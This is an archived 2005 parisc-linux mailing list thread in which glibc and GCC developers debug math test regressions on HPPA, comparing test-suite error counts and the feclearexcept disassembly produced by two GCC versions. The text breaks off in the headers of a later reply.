Original-Received: (qmail invoked by alias); 15 Jul 2005 23:45:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 16 Jul 2005 01:45:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 670847D6AD;
	Fri, 15 Jul 2005 17:45:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17118-04; Fri, 15 Jul 2005 17:45:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E1857D6AF;
	Fri, 15 Jul 2005 17:44:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5F4077D6AC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 17:44:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17118-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 17:44:55 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id BB5BC7D6A3
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 17:44:55 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DtZrN-0008L1-00; Fri, 15 Jul 2005 19:44:49 -0400
Content-Disposition: inline
In-Reply-To: <20050715142609.GR5314@systemhalted.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (26% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1y+qYiFJeSEkX76WZHQhaXN1IGRvb4Bo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22914

On Fri, Jul 15, 2005 at 10:26:10AM -0400, Carlos O'Donell wrote:
> make[2]: *** [/glibc/math/test-fenv.out] Error 1
> 	= Regression (1)
> make[2]: *** [/glibc/math/test-float.out] Error 1
> make[2]: *** [/glibc/math/test-double.out] Error 1
> make[2]: *** [/glibc/math/test-ifloat.out] Error 1
> make[2]: *** [/glibc/math/test-idouble.out] Error 1
> make[1]: *** [math/tests] Error 2
> make[2]: *** [/glibc/stdlib/tst-strtod.out] Error 1
> make[2]: *** [/glibc/stdlib/bug-strtod.out] Error 1
> make[1]: *** [stdlib/tests] Error 2
> make[2]: [/glibc/posix/annexc.out] Error 1 (ignored)
> make[2]: *** [/glibc/elf/tst-array1.out] Error 1
> make[2]: *** [/glibc/elf/tst-array2.out] Error 1
> make[2]: *** [/glibc/elf/tst-array3.out] Error 1
> make[2]: *** [/glibc/elf/tst-array4.out] Error 1
> make[2]: *** [/glibc/elf/tst-array1-static.out] Error 1
> 	= Regressions (5)
> make[2]: *** [/glibc/elf/tst-tls13.out] Error 1
> 	= TIMEOUTFACTOR=10 required.
> make[1]: *** [elf/tests] Error 2
> make: *** [check] Error 2

Fixed binutils...

Make that 1 regression:

make[2]: *** [/glibc/math/test-fenv.out] Error 1
make[2]: *** [/glibc/math/test-float.out] Error 1
make[2]: *** [/glibc/math/test-double.out] Error 1
make[2]: *** [/glibc/math/test-ifloat.out] Error 1
make[2]: *** [/glibc/math/test-idouble.out] Error 1
make[1]: *** [math/tests] Error 2
make[2]: *** [/glibc/stdlib/tst-strtod.out] Error 1
make[2]: *** [/glibc/stdlib/bug-strtod.out] Error 1
make[1]: *** [stdlib/tests] Error 2
make[2]: [/glibc/posix/annexc.out] Error 1 (ignored)
make: *** [check] Error 2

However, the following is troubling and where trouble goes, so does the
blame on the compiler.

test-float.out (Non-inline float):
 Test suite completed:
   2599 test cases plus 2384 tests for exception flags executed.
-  39 errors occurred.
+  4363 errors occurred.

test-double.out (Non-inline double):
 Test suite completed:
   2624 test cases plus 2399 tests for exception flags executed.
-  38 errors occurred.
+  4388 errors occurred.

Although the numbers don't add up with the errors a cursory check shows
*none* of the non-inline math tests passed.

The inline math does *much* better, observe:

test-ifloat.out (Inline float):
 Test suite completed:
   2537 test cases plus 2322 tests for exception flags executed.
-  1 errors occurred.
+  11 errors occurred.

test-idbouble.out (Inline double):
 Test suite completed:
   2562 test cases plus 2337 tests for exception flags executed.
-  1 errors occurred.
+  10 errors occurred.


c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Non-inline math, and inline math broken,
	GCC to blame? (1 hppa tls toolchain regression).
Date: Fri, 15 Jul 2005 20:08:43 -0400 (EDT)
Lines: 42
Approved: news@gmane.org
Message-ID: <200507160008.j6G08hdg005634@hiauly1.hia.nrc.ca>
References: <20050715234448.GA5314@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623847 15622 80.91.229.3 (22 Nov 2014 02:37:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2005 00:08:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx036) with SMTP; 16 Jul 2005 02:08:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F0BFD7D6C4;
	Fri, 15 Jul 2005 18:08:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17118-10; Fri, 15 Jul 2005 18:08:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B9BBE7D6BF;
	Fri, 15 Jul 2005 18:08:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C66CE7D6BB
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 18:08:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17118-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 18:08:45 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 32F527D6B9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 18:08:45 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j6G08hnV005636; Fri, 15 Jul 2005 20:08:44 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j6G08hdg005634;
	Fri, 15 Jul 2005 20:08:43 -0400 (EDT)
In-Reply-To: <20050715234448.GA5314@systemhalted.org> from "Carlos O'Donell"
	at Jul 15, 2005 07:44:48 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QzWqYhdmeSEkVr6WZHQhaXN1IGRvb0BK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22915

> However, the following is troubling and where trouble goes, so does the
> blame on the compiler.
> 
> test-float.out (Non-inline float):
>  Test suite completed:
>    2599 test cases plus 2384 tests for exception flags executed.
> -  39 errors occurred.
> +  4363 errors occurred.
> 
> test-double.out (Non-inline double):
>  Test suite completed:
>    2624 test cases plus 2399 tests for exception flags executed.
> -  38 errors occurred.
> +  4388 errors occurred.
> 
> Although the numbers don't add up with the errors a cursory check shows
> *none* of the non-inline math tests passed.

I don't want to throw stones but I posted a message to parisc two
days ago indicating that we have at least one kernel bug in its math
emulation ;)

Ok, PA 2.0 support could be suspect.  I doubt very much there are
major FP issues with PA 1.1.  In PA 1.1, essentially all the operations
are supported in hardware (I hate assist).  There's an issue with
complex support using PA 1.0 but if the compiler didn't die that's
not likely the problem.  That's fixed in main.  Finally, you've got
the glibc issue in handling 64-bit long doubles.  I would suspect a
glibc issue first.  GCC doesn't have much to do with exception support
or control of rounding modes, although you would think the compiler
would need to know about rounding mode.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Non-inline math, and inline math broken,
	GCC to blame? (1 hppa tls toolchain regression).
Date: Fri, 15 Jul 2005 20:57:15 -0400
Lines: 56
Approved: news@gmane.org
Message-ID: <20050716005715.GC5314@systemhalted.org>
References: <20050715234448.GA5314@systemhalted.org>
	<200507160008.j6G08hdg005634@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623847 15626 80.91.229.3 (22 Nov 2014 02:37:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2005 00:57:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 16 Jul 2005 02:57:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA5B87D6C4;
	Fri, 15 Jul 2005 18:57:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17512-07; Fri, 15 Jul 2005 18:57:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EC4887D6C5;
	Fri, 15 Jul 2005 18:57:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 716D37D6C3
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 18:57:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17512-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 18:57:25 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id CEC657D6C2
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 18:57:24 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DtazU-0000Y6-00; Fri, 15 Jul 2005 20:57:16 -0400
Content-Disposition: inline
In-Reply-To: <200507160008.j6G08hdg005634@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (26% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Kj6qYsMseSEkMb6WZHQhaXN1IGRvbwA/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22916

On Fri, Jul 15, 2005 at 08:08:43PM -0400, John David Anglin wrote:
> > However, the following is troubling and where trouble goes, so does the
> > blame on the compiler.
> > 
> > test-float.out (Non-inline float):
> >  Test suite completed:
> >    2599 test cases plus 2384 tests for exception flags executed.
> > -  39 errors occurred.
> > +  4363 errors occurred.
> > 
> > test-double.out (Non-inline double):
> >  Test suite completed:
> >    2624 test cases plus 2399 tests for exception flags executed.
> > -  38 errors occurred.
> > +  4388 errors occurred.
> > 
> > Although the numbers don't add up with the errors a cursory check shows
> > *none* of the non-inline math tests passed.
> 
> I don't want to throw stones but I posted a message to parisc two
> days ago indicating that we have at least one kernel bug in its math
> emulation ;)

I knew I'd draw you ire if I blamed the compiler! :)
 
> Ok, PA 2.0 support could be suspect.  I doubt very much there are
> major FP issues with PA 1.1.  In PA 1.1, essentially all the operations
> are supported in hardware (I hate assist).  There's an issue with
> complex support using PA 1.0 but if the compiler didn't die that's
> not likely the problem.  That's fixed in main.  Finally, you've got
> the glibc issue in handling 64-bit long doubles.  I would suspect a
> glibc issue first.  GCC doesn't have much to do with exception support
> or control of rounding modes, although you would think the compiler
> would need to know about rounding mode.

I'm only testing float and double support, I have temporarily disabled
long double support for hppa during testing.

I don't quite understand how something like "fpclassify" can *ever* fail
under any implementation.

Could you review these files:
http://cvs.parisc-linux.org/glibc/sysdeps/hppa/fpu/

With an eye to correct asm statement? If these don't work then it all
goes down the tubes. I'm sure gcc is probably doing the right thing and
that asm is doing the wrong thing.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Non-inline math, and inline math broken,
	GCC to blame? (1 hppa tls toolchain regression).
Date: Fri, 15 Jul 2005 21:14:33 -0400
Lines: 56
Approved: news@gmane.org
Message-ID: <20050716011432.GD5314@systemhalted.org>
References: <20050715234448.GA5314@systemhalted.org>
	<200507160008.j6G08hdg005634@hiauly1.hia.nrc.ca>
	<20050716005715.GC5314@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623848 15627 80.91.229.3 (22 Nov 2014 02:37:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:28 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2005 01:14:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 16 Jul 2005 03:14:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4EF437D6C9;
	Fri, 15 Jul 2005 19:14:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17997-03; Fri, 15 Jul 2005 19:14:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A0C37D6CA;
	Fri, 15 Jul 2005 19:14:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C21F17D6C4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 19:14:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17587-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 19:14:40 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 3E7FF7D6C3
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 19:14:40 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DtbGD-0000gn-00; Fri, 15 Jul 2005 21:14:33 -0400
Content-Disposition: inline
In-Reply-To: <20050716005715.GC5314@systemhalted.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (26% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3jqqYko6eSEkfb6WZHQhaXN1IGRvb0Cj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22917

On Fri, Jul 15, 2005 at 08:57:15PM -0400, Carlos O'Donell wrote:
> I don't quite understand how something like "fpclassify" can *ever* fail
> under any implementation.
> 
> Could you review these files:
> http://cvs.parisc-linux.org/glibc/sysdeps/hppa/fpu/
> 
> With an eye to correct asm statement? If these don't work then it all
> goes down the tubes. I'm sure gcc is probably doing the right thing and
> that asm is doing the wrong thing.

I think gcc is to blame, or the constraints in the assembly?

--- GCC 4.0 ---

0x40349890 <feclearexcept+0>:   ldo 40(sp),sp
0x40349894 <feclearexcept+4>:   ldo -38(sp),ret0
0x40349898 <feclearexcept+8>:   stw r19,-20(,sp)
0x4034989c <feclearexcept+12>:  fstd fr0,0(,ret0)
0x403498a0 <feclearexcept+16>:  fldd 0(,ret0),fr0
0x403498a4 <feclearexcept+20>:  ldi 0,ret0
0x403498a8 <feclearexcept+24>:  bv r0(rp)
0x403498ac <feclearexcept+28>:  ldo -40(sp),sp

Notice that it thinks the argument is on the stack? Are the assembly
constraints confusing gcc?

The above is competely bogus.

--- GCC 3.3.5 ---

00000000 <feclearexcept>:
   0:   37 de 00 80     ldo 40(sp),sp
   4:   d7 5a 0b 7b     depw,z r26,4,5,r26
   8:   6b d3 3f c1     stw r19,-20(,sp)
   c:   37 d4 3f 91     ldo -38(sp),r20
  10:   2e 80 12 00     fstd fr0,0(,r20)
  14:   4b d5 3f 91     ldw -38(,sp),r21
  18:   0b 55 00 1a     andcm r21,r26,r26
  1c:   6b da 3f 91     stw r26,-38(,sp)
  20:   2e 80 10 00     fldd 0(,r20),fr0
  24:   34 1c 00 00     ldi 0,ret0
  28:   e8 40 c0 00     bv r0(rp)
  2c:   37 de 3f 81     ldo -40(sp),sp

This one properly loads the value from r26.
This one works.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Non-inline math, and inline math broken,
	GCC to blame? (1 hppa tls toolchain regression).
Date: Fri, 15 Jul 2005 21:54:25 -0400 (EDT)
Lines: 36
Approved: news@gmane.org
Message-ID: <200507160154.j6G1sPI0006203@hiauly1.hia.nrc.ca>
References: <20050716011432.GD5314@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623848 15630 80.91.229.3 (22 Nov 2014 02:37:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:28 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2005 01:54:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 16 Jul 2005 03:54:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B4D97D6D7;
	Fri, 15 Jul 2005 19:54:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18367-01; Fri, 15 Jul 2005 19:54:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7BCEB7D6D2;
	Fri, 15 Jul 2005 19:54:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7668C7D6CF
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 19:54:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17997-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 19:54:28 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id D8F767D6CE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Jul 2005 19:54:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j6G1sQnV006205; Fri, 15 Jul 2005 21:54:26 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j6G1sPI0006203;
	Fri, 15 Jul 2005 21:54:25 -0400 (EDT)
In-Reply-To: <20050716011432.GD5314@systemhalted.org> from "Carlos O'Donell"
	at Jul 15, 2005 09:14:33 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
